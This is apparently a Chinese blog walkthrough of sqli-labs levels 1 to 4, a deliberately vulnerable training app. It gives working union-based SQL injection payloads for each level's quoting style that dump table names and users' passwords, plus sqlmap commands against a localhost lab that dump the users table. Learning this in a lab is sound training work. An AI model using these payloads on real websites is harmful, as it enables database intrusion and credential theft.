Sqli-labs 1-4(union注入)

1. Less-1

这道题考察的是Single quotes(单引号)
首先我们进入sqli根目录,打开Less-1页面。
less1
页面提示然我们输入一个id作为参数。
在这里插入图片描述
在这里我们输入了?id=1作为url的参数,然后我们通过改变不同的参数,后台会返回给我们不同的Login namePassword
通过以上测试,我们大概可以猜出,后台所返回的数据是由我们输入的id决定的。而这个id就是我们和sql语句进行交互的接口。我们需要通过这个接口,来得到这个数据库的数据。

1.1 判断id类型

在进行注入之前,我们首先要判断出网站后台id的接受形式(字符串,int等等)
由于这道题目的名字就是GET-Error-based-Single quotes获取基于单引号的错误。
首先我们输入一个?id=1'来验证一下我们的想法:
在这里插入图片描述
可以看到页面给出了报错信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

其中'1'' LIMIT 0,1为出错的语句(外面的两个单引号是包裹这个短句的,不是sql语句中的,因此忽略掉),然后我们去掉我们输入的1'就能看到''LIMIT 0,1为网站的原生sql语句。那也就是说明网站的id类型为单引号包裹的字符型。

那么我们首先猜测网站的sql语句为:
SELECT xxx FROM xxx WHERE id='';
因此我们需要闭合这个id,然后插入我们的payload
在这里插入图片描述
这里我是用的语句, 首先用and 1=1 --+进行测试,看页面能否返回正常的结果,然后使用and 1=2 --+。一个true一个false,页面应该会有不同的响应,当页面返回了不同的响应,那么就说明我们对于id类型的判断是正确的。然后就可以进行后续的操作了。

1.2 判断检索字段个数

在进行下一步的爆破时,我们首先要知道网站使用的sql语句中检索字段的个数。我们使用order by来进行判断。
我们输入?id=1' order by num --+然后查看网站的响应,如果正常就继续增大num的数值。我们发现当num到4时,网页给出了错误信息。
在这里插入图片描述
意思是我们要这个检索语句根据第四个字段排序,而该检索语句没有第4个字段,因此报错。与此同时,我们就能知道网站使用的sql语句的检索字段是3个,也就是SELECT xxx,xxx,xxx FROM xxx WHERE id='';
得知检索字段以后就可以进行下一步的操作了。

1.3 获取数据库信息

1.3.1 查询网站使用的数据库名

根据上面的内容,我们得知了网站id的类型以及检索字段,下面我们构造payload然后使用union将payload插入到网站sql中。
1' and 1=2 union select 1, version(), database(); --+
将这条语句插入到url中,就能得到如下界面:
在这里插入图片描述
到此为止,我们就知道,此网站使用的数据库版本是5.7.18-log,使用的数据库名称为security

1.3.2 爆破数据表

在拿到了网站所使用的数据库后,我们可以通过进一步的查询获知该数据库下的数据表和字段值。
我们使用如下语句获知security数据下所有的数据表。(关于为什么要使用这个语句,我会写在最后)
1' and 1=2 union select 1, (select group_concat(table_name) from information_schema.tables WHERE table_schema='security'), 3 --+
我们看一下结果:
在这里插入图片描述
现在我们知道security数据库下有4张数据表:emails, referers, uagents, users
根据猜测,我们应该知道所有的用户信息应该在users表中。那么下面,我们就查这张表的水表~~

首先我们要知道这张表都有什么字段?
1' and 1=2 union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 --+
插入上面的语句,可以得到:
在这里插入图片描述
因此我们就知道网站中security数据下users表中的三个字段为id, username, password

在拿到这个表中字段后,查他的水表是不是就很容易了~~
?id=1' and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+
在这里插入图片描述
可以看到,用户信息统统都给你爆到页面上了(什么用户隐私?都是骗人的!)

1.3.2 以上使用sql语句的介绍

在上面,我们使用了一些比较莫名其妙的sql语句,可能有些人没有科普过这方面的数据库知识所以就不明白为什么,我在这里讲解一下:
首先罗列出上面使用的sql语句。

  1. 1' and 1=2 union select 1, (select group_concat(table_name) from information_schema.tables WHERE table_schema='security'), 3 --+
  2. 1' and 1=2 union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 --+

在这里,使用了information.tablesinformation_schema.columns这两张表。

我们来介绍一下:
在mysql中,为了便于对数据库的管理,你会发现在mysql中有一个自带的数据库information_shcema,这里面有很多的数据表。而其中有3张记录了你这个DBMS管理的所有的数据库名,表明,字段名。

  1. schemata 表
    schemata表中有一个schema_name字段,存储了当前DBMS所管理的所有数据库的名字。我们可以通过查询这个表,获知你所有的数据库名。

  2. tables 表
    tables中的table_schematable_name字段,分别记录了数据库名称和该数据库下数据表的名称。

  3. columns 表
    columns中的table_schema, table_name, column_name字段,分别记录了数据库名,数据库下数据表的名,数据表下字段的名称。

因此,我们通过这3张表就能知道你DBMS下管理的所有数据库的名字,以及每一个数据库下有多少表,表中都有什么字段。


2. Less-2

Less-2和Less-1的操作过程几乎完全一样,感兴趣的小伙伴可以自己试一下。看能不能把他的users表摔在页面上!

提示:
Less-2和Less-1唯一的区别就是id类型不同了,Less-2的id是一个int类型。因此这里的sql语句可能就是SELECT xxx FROM xxx WHERE id=1;
然后套用上面的语句就行了,具体过程不在给出,直接给出最后查水表的语句吧!
?id=1 and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+


3. Less-3

Less-4和Less-1也是基本雷同,仅仅id类型不同:
SELECT xxx FROM xxx WHERE id=('1');
这里的id是用单引号+括号包裹的。因此我们在闭合的时候要注意,直接给出最后查水表的语句:
?id=1') and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+
在这里插入图片描述

注意:
有时候可能我们输入了正确的注入语句,但是页面没有给出正确的响应,问题的原因我也不清楚,但是你再重置一下这个sqli的数据库能够解决大部分的问题。

在这里插入图片描述


4. Less-4

在Less-4中,我们先输入?id=1'发现没有错误信息显示,别急,再试一下?id=1",就有了。
在这里插入图片描述
根据报错信息,我们就能够知道这个id使用双引号+括号包裹的。
SELECT XXX FROM XXXX WHERE id=("1");
其他步骤和Less-1一致。
最后给出查水表语句:
?id=1") and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+


5. SQLmap通关

SQLmap是一个SQL注入的工具。熟练的掌握SQLmap的用法,也是提升我们注入能力的一个方向。

这里拿Less1来试刀。

获取当前的数据库名称:

sqlmap.py -u http://127.0.0.1:7788/sqli/Less-1/?id=1 --batch --current-db

在这里插入图片描述
其中---batch就是采用默认选项进行注入。--current-db表示查询当前使用的数据库的名称。

查数据表

sqlmap.py -u http://127.0.0.1:7788/sqli/Less-1/?id=1 --batch -D security --tables

在这里插入图片描述
-D为指定被查询的数据库,--tables表示查询数据表的名称。

查列名

sqlmap.py -u http://127.0.0.1:7788/sqli/Less-1/?id=1 --batch -D security -T users --columns

在这里插入图片描述
-T为指定被查询的数据表。--columns表示查询所有的列名。

查询值

sqlmap.py -u http://127.0.0.1:7788/sqli/Less-1/?id=1 --batch -D security -T users --dump

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值